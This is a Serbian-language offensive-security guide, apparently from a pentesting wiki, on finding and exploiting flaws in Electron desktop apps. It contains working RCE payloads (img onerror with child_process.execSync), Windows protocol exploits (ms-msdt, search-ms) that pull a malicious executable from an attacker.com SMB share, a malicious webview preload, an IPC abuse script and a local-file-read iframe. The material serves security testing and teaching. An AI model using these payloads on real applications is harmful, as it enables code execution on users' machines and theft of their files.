Electron Desktop Apps

Reading time: 16 minutes

Uvod

Electron kombinuje lokalni backend (sa NodeJS) i frontend (Chromium), iako mu nedostaju neki od bezbednosnih mehanizama modernih pregledača.

Obično možete pronaći kod electron aplikacije unutar .asar aplikacije, kako biste dobili kod, potrebno je da ga ekstrahujete:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

U izvornoj kodu Electron aplikacije, unutar packet.json, možete pronaći navedenu main.js datoteku gde su postavljene bezbednosne konfiguracije.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron ima 2 tipa procesa:

• Glavni proces (ima potpun pristup NodeJS-u)
• Proces renderera (treba da ima ograničen pristup NodeJS-u iz bezbednosnih razloga)

Proces renderera će biti prozor pregledača koji učitava datoteku:

const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Podešavanja renderer process mogu se konfigurisati u main process unutar main.js datoteke. Neka od podešavanja će sprečiti Electron aplikaciju da dobije RCE ili druge ranjivosti ako su podešavanja ispravno konfigurisana.

Electron aplikacija može pristupiti uređaju putem Node apija, iako se može konfigurisati da to spreči:

• nodeIntegration - je off po defaultu. Ako je uključen, omogućava pristup node funkcijama iz renderer process.
• contextIsolation - je on po defaultu. Ako je isključen, main i renderer procesi nisu izolovani.
• preload - prazan po defaultu.
• sandbox - je isključen po defaultu. Ograničiće akcije koje NodeJS može izvesti.
• Node Integration u Workers
• nodeIntegrationInSubframes - je off po defaultu.
• Ako je nodeIntegration omogućen, to bi omogućilo korišćenje Node.js API-a na web stranicama koje su učitane u iframes unutar Electron aplikacije.
• Ako je nodeIntegration onemogućen, tada će preloads biti učitani u iframe.

Primer konfiguracije:

const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Neki RCE payloads sa ovde:

Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Capture traffic

Izmenite start-main konfiguraciju i dodajte korišćenje proksija kao što su:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

Ako možete lokalno izvršiti Electron aplikaciju, moguće je da možete izvršiti proizvoljni JavaScript kod. Proverite kako u:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Ako je nodeIntegration postavljen na on, JavaScript web stranice može lako koristiti Node.js funkcije jednostavno pozivajući require(). Na primer, način za izvršavanje kalkulator aplikacije na Windows-u je:

<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

Skripta navedena u ovoj postavci se loadi pre drugih skripti u rendereru, tako da ima neograničen pristup Node API-ima:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Stoga, skripta može da eksportuje node-features na stranice:

typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}

<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Ako je contextIsolation uključen, ovo neće raditi

RCE: XSS + contextIsolation

contextIsolation uvodi odvojene kontekste između skripti web stranice i unutrašnjeg JavaScript koda Electron-a tako da izvršavanje JavaScript-a svakog koda ne utiče na druge. Ovo je neophodna funkcija za eliminaciju mogućnosti RCE.

Ako konteksti nisu izolovani, napadač može:

1. Izvršiti arbitrarni JavaScript u renderer-u (XSS ili navigacija na spoljne sajtove)
2. Prepisati ugrađenu metodu koja se koristi u preload-u ili unutrašnjem kodu Electron-a na svoju funkciju
3. Pokrenuti korišćenje prepisane funkcije
4. RCE?

Postoje 2 mesta gde se ugrađene metode mogu prepisati: U preload kodu ili u unutrašnjem kodu Electron-a:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

Obilaženje događaja klika

Ako postoje ograničenja primenjena kada kliknete na link, možda ćete moći da ih zaobiđete srednjim klikom umesto običnim levim klikom

window.addEventListener('click', (e) => {

RCE putem shell.openExternal

Za više informacija o ovim primerima pogledajte https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 i https://benjamin-altpeter.de/shell-openexternal-dangers/

Kada se implementira Electron desktop aplikacija, osiguranje ispravnih podešavanja za nodeIntegration i contextIsolation je ključno. Utvrđeno je da izvršavanje daljinskog koda na klijentskoj strani (RCE) koje cilja preload skripte ili Electron-ov nativni kod iz glavnog procesa efikasno sprečava sa ovim podešavanjima.

Kada korisnik interaguje sa linkovima ili otvara nove prozore, aktiviraju se specifični slušači događaja, koji su ključni za sigurnost i funkcionalnost aplikacije:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Ovi slušatelji su prepisani od strane desktop aplikacije da implementiraju svoju vlastitu poslovnu logiku. Aplikacija procenjuje da li bi navigirani link trebao biti otvoren interno ili u spoljašnjem web pretraživaču. Ova odluka se obično donosi putem funkcije, openInternally. Ako ova funkcija vrati false, to ukazuje da link treba biti otvoren spolja, koristeći funkciju shell.openExternal.

Evo pojednostavljenog pseudokoda:

Electron JS sigurnosne najbolje prakse savetuju protiv prihvatanja nepouzdanog sadržaja sa funkcijom openExternal, jer to može dovesti do RCE kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalja objašnjenja o ovoj temi, može se konsultovati ovaj resurs, koji uključuje primere Windows protokola sposobnih za iskorišćavanje ove ranjivosti.

U macOS-u, funkcija openExternal može biti iskorišćena za izvršavanje proizvoljnih komandi kao u shell.openExternal('file:///System/Applications/Calculator.app').

Primeri Windows protokolskih eksploatacija uključuju:

<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + vulnerable preload IPC + shell.openExternal

Ova ranjivost se može naći u this report.

webviewTag je deprecated feature koja omogućava korišćenje NodeJS u renderer process, što bi trebalo biti onemogućeno jer omogućava učitavanje skripte unutar preload konteksta kao:

<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

Stoga, napadač koji uspe da učita proizvoljnu stranicu mogao bi da iskoristi tu oznaku da učita proizvoljan preload skript.

Ovaj preload skript je zatim zloupotrebljen da pozove ranjivu IPC uslugu (skype-new-window) koja je pozivala shell.openExternal da bi dobila RCE:

(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

Čitanje unutrašnjih fajlova: XSS + contextIsolation

Onemogućavanje contextIsolation omogućava korišćenje <webview> tagova, sličnih <iframe>, za čitanje i eksfiltraciju lokalnih fajlova. Primer prikazan ilustruje kako iskoristiti ovu ranjivost za čitanje sadržaja unutrašnjih fajlova:

Dalje, podeljena je još jedna metoda za čitanje unutrašnjeg fajla, ističući kritičnu ranjivost čitanja lokalnih fajlova u Electron desktop aplikaciji. Ovo uključuje injektovanje skripte za iskorišćavanje aplikacije i eksfiltraciju podataka:

<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Old Chromium

Ako je chromium koji koristi aplikacija star i postoje poznate ranjivosti na njemu, može biti moguće iskoristiti ga i dobiti RCE putem XSS.
Možete videti primer u ovom writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing putem zaobilaženja interne URL regex

Pretpostavljajući da ste pronašli XSS, ali ne možete pokrenuti RCE ili ukrasti interne fajlove, mogli biste pokušati da ga iskoristite za krađu kredencijala putem phishinga.

Prvo što treba da znate je šta se dešava kada pokušate da otvorite novu URL adresu, proveravajući JS kod u front-endu:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Poziv na openInternally će odlučiti da li će link biti otvoren u desktop prozoru jer pripada platformi, ili će biti otvoren u pregledaču kao resurs treće strane.

U slučaju da je regex koji koristi funkcija ranjiv na zaobilaženje (na primer, ne beži tačke subdomena) napadač bi mogao da iskoristi XSS da otvori novi prozor koji će biti smešten u infrastrukturi napadača tražeći kredencijale od korisnika:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// Protokol

Kao što je pomenuto u dokumentaciji, stranice koje se pokreću na file:// imaju jednostrani pristup svakom fajlu na vašem računaru, što znači da se XSS problemi mogu iskoristiti za učitavanje proizvoljnih fajlova sa korisnikovog računara. Korišćenje prilagođenog protokola sprečava ovakve probleme jer možete ograničiti protokol na pružanje samo specifičnog skupa fajlova.

Remote modul

Electron Remote modul omogućava renderer procesima pristup API-ima glavnog procesa, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne bezbednosne rizike. Proširuje napadnu površinu aplikacije, čineći je podložnijom ranjivostima kao što su napadi skriptovanja između sajtova (XSS).

Od Electron 14, remote modul Electron-a može biti omogućen u nekoliko koraka, jer je zbog bezbednosti i performansi preporučeno da se ne koristi.

Da bi se omogućio, prvo je potrebno omogućiti ga u glavnom procesu:

const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

Zatim, proces renderovanja može uvesti objekte iz modula kao što su:

import { dialog, getCurrentWindow } from '@electron/remote'

blog post ukazuje na neke zanimljive funkcije koje izlaže objekat app iz daljinskog modula:

• app.relaunch([options])
• Ponovo pokreće aplikaciju tako što izlazi iz trenutne instance i pokreće novu. Korisno za ažuriranja aplikacije ili značajne promene stanja.
• app.setAppLogsPath([path])
• Definiše ili stvara direktorijum za čuvanje logova aplikacije. Logovi se mogu pribaviti ili izmeniti koristeći app.getPath() ili app.setPath(pathName, newPath).
• app.setAsDefaultProtocolClient(protocol[, path, args])
• Registruje trenutni izvršni fajl kao podrazumevani handler za određeni protokol. Možete navesti prilagođeni put i argumente ako je potrebno.
• app.setUserTasks(tasks)
• Dodaje zadatke u kategoriju zadataka u Jump List (na Windows-u). Svaki zadatak može kontrolisati kako se aplikacija pokreće ili koje argumente se prosleđuju.
• app.importCertificate(options, callback)
• Uvozi PKCS#12 sertifikat u sertifikacioni skladište sistema (samo Linux). Callback se može koristiti za obradu rezultata.
• app.moveToApplicationsFolder([options])
• Premesta aplikaciju u Applications folder (na macOS). Pomaže da se osigura standardna instalacija za korisnike Mac-a.
• app.setJumpList(categories)
• Postavlja ili uklanja prilagođeni Jump List na Windows-u. Možete odrediti kategorije da organizujete kako se zadaci prikazuju korisniku.
• app.setLoginItemSettings(settings)
• Konfiguriše koje izvršne fajlove se pokreću pri prijavljivanju zajedno sa njihovim opcijama (samo macOS i Windows).

Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences модул

Примарни API за приступ системским подешавањима и емитовање системских догађаја у Electron-у. Методи као што су subscribeNotification, subscribeWorkspaceNotification, getUserDefault и setUserDefault су сви део овог модула.

Пример коришћења:

const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

• Sluša nativne macOS obaveštenja koristeći NSDistributedNotificationCenter.
• Pre macOS Catalina, mogli ste da presretnete sva distribuirana obaveštenja tako što ste prosledili nil CFNotificationCenterAddObserver.
• Nakon Catalina / Big Sur, aplikacije u sandbox-u mogu i dalje da se pretplate na mnoge događaje (na primer, zaključavanje/otključavanje ekrana, montiranje volumena, mrežna aktivnost, itd.) registrujući obaveštenja po imenu.

getUserDefault / setUserDefault

• Interfejsi sa NSUserDefaults, koji čuva aplikacione ili globalne postavke na macOS-u.

• getUserDefault može da dobije osetljive informacije, kao što su lokacije nedavnih datoteka ili geografska lokacija korisnika.

• setUserDefault može da izmeni ove postavke, potencijalno utičući na konfiguraciju aplikacije.

• U starijim verzijama Electron-a (pre v8.3.0), samo je standardni paket NSUserDefaults bio dostupan.

Shell.showItemInFolder

Ova funkcija prikazuje datoteku u upravitelju datoteka, što može automatski izvršiti datoteku.

Za više informacija pogledajte https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron aplikacije treba da imaju Content Security Policy (CSP) kako bi sprečile XSS napade. CSP je bezbednosni standard koji pomaže da se spreči izvršavanje nepouzdanog koda u pretraživaču.

Obično je konfigurisano u main.js datoteci ili u index.html šablonu sa CSP unutar meta taga.

Za više informacija pogledajte:

Content Security Policy (CSP) Bypass

Tools

• Electronegativity je alat za identifikaciju pogrešnih konfiguracija i bezbednosnih anti-šablona u aplikacijama zasnovanim na Electron-u.
• Electrolint je open source VS Code dodatak za Electron aplikacije koji koristi Electronegativity.
• nodejsscan za proveru ranjivih biblioteka trećih strana
• Electro.ng: Morate ga kupiti

Labs

U https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s možete pronaći laboratoriju za eksploataciju ranjivih Electron aplikacija.

Neke komande koje će vam pomoći u laboratoriji:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Reference

• https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
• https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
• https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
• https://www.youtube.com/watch?v=a-YnG3Mx-Tg
• https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
• Više istraživanja i članaka o Electron bezbednosti u https://github.com/doyensec/awesome-electronjs-hacking
• https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
• https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html